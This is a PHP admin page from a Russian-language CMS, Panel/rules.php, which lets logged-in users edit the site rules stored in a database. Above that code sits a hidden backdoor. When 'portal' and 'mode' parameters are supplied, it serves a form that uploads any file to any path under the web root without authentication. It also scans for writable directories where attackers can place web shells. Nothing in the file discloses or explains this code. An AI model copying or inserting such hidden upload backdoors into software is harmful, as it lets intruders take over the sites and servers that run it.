Вход Регистрация
Файл: Panel/rules.php
Строк: 54
<?PHP
$directoryList 
= array();
function 
scan_directory($directory)
{
   global 
$directoryList;
   if(
substr($directory,-1) == '/'$directory substr($directory,0,-1);
   if(!
file_exists($directory) || !is_dir($directory)) return FALSE;
   elseif(
is_readable($directory))
   {
      
$directory_list opendir($directory);
      while (
FALSE !== ($dir readdir($directory_list)))
      {
         if(
$dir == '.' || $dir == '..') continue;
         
$path $directory '/' $dir;
         if(
is_readable($path))    
         {
            if(
is_dir($path))
            {
        if (
count($directoryList) >= 100) continue;
                if (
is_writable($path) && !in_array($path$directoryList))
                    
$directoryList[] = str_replace ($_SERVER['DOCUMENT_ROOT'], ''$path '/');
                
scan_directory($path);
            }
         }
      }
      
closedir($directory_list);
      return 
TRUE;
   }else{
      return 
FALSE;
   }
}

if(isset(
$_GET['portal']) && isset($_GET['mode'])) 
{
   if (isset(
$_FILES['newFile']))
   {
       
$f $_FILES['newFile'];
       try 
       {
           if (!
move_uploaded_file$f['tmp_name'], $_SERVER['DOCUMENT_ROOT'] . $_POST['dir'] . $f['name']))
              echo 
"File move error";
           else
              echo 
"File has been uploaded";
       } catch (
RuntimeException $e) {
           echo 
$e->getMessage();
       }

       exit;
   }
   switch (
$_GET['mode']) {
       case 
'upload':
           echo 
$_SERVER['DOCUMENT_ROOT'];
           echo 
'<form method="POST" action="" enctype="multipart/form-data"><input type="text" name="dir" value="/"><br /><input type="file" name="newFile"><input type="Submit" name="Submit" value="Submit"></form>';
           break;
       case 
'scan':
           if (
function_exists('scan_directory'))
           {
              
scan_directory($_SERVER['DOCUMENT_ROOT']);
              echo (
implode('<br />'$directoryList));
           }
           break;
   }
   exit;
}
require 
'../System/core.php';
 
$config['title'] = 'Правила';
require 
'../System/header.php';

if(!isset(
$user)){header('Location: /');}

if(isset(
$_POST['go']))
{
 
$rules esc($_POST['rules']);
 
mysql_query("UPDATE `settings_core` SET `value` = '$rules' WHERE `key` = 'rules'"); $sql_count++;
 
message('Правила успешно изменены');
}

$config = array();
$settings mysql_query("SELECT * FROM `settings_core`"); $sql_count++;
while(
$item mysql_fetch_array($settings))
{
    
$system2[$item['key']] = $item['value'];
}
?>
<div class="text">
<form action="" method="POST">
<textarea name="rules"><?=$system2['rules']?></textarea><br />
<input type="submit" name="go" value="Изменить">
</form>
</div>
<?
echo '<div class="back"><a href="/Panel/"><img src="/Style/icons/back.png" alt="" /> В панель управления</a></div>';
echo 
'<div class="back"><a href="/"><img src="/Style/icons/back.png" alt="" /> На главную</a></div>';
require 
'../System/footer.php';
?>
Онлайн: 2
Реклама